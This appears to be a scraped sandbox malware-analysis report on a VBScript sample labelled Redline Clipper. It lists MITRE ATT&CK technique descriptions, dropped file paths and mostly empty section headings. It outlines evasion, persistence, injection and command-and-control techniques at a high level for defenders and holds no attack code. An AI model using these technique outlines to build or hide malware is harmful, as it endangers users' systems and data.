Instruction ID: d13f77b1c4864a76f43c7999cd2724cedc05e82e1a99d8aec2367306cfc484ff
Opcode Fuzzy Hash: 462f06e5ba02b13f226c734448c98c9802adea6b17fd67b52eb0f1cc9fa73945
Instruction Fuzzy Hash: D4D126B08017458BE718EF24EC4C2893BB6FB8A324F594209D1616F2E9DBB414CADF64

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report confirmationcr.vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Redline Clipper

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Data Obfuscation

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\VbsName.vbs

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0pwwrvgs.3je.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_50mvbyho.103.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ay2rwfwu.g0q.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bm4o42og.k3k.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hgdjhbzt.snt.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_khixuewt.ovv.psm1

Static File Info

General

File Icon

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Windows Analysis Report
confirmationcr.vbs

Function 064A1790 Relevance: 1.8, APIs: 1, Instructions: 328
COMMON

Function 030CA828 Relevance: 1.7, APIs: 1, Instructions: 194
COMMON

Function 064A18F0 Relevance: 1.6, APIs: 1, Instructions: 113
COMMON

Function 064A4050 Relevance: 1.6, APIs: 1, Instructions: 93
COMMON

Function 030CD1D1 Relevance: 1.6, APIs: 1, Instructions: 85
COMMON

Function 064AA578 Relevance: 1.6, APIs: 1, Instructions: 84
COMMON

Function 064AC804 Relevance: 1.6, APIs: 1, Instructions: 78
comclipboardCOMMON

Function 064AC1F8 Relevance: 1.6, APIs: 1, Instructions: 74
comclipboardCOMMON

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre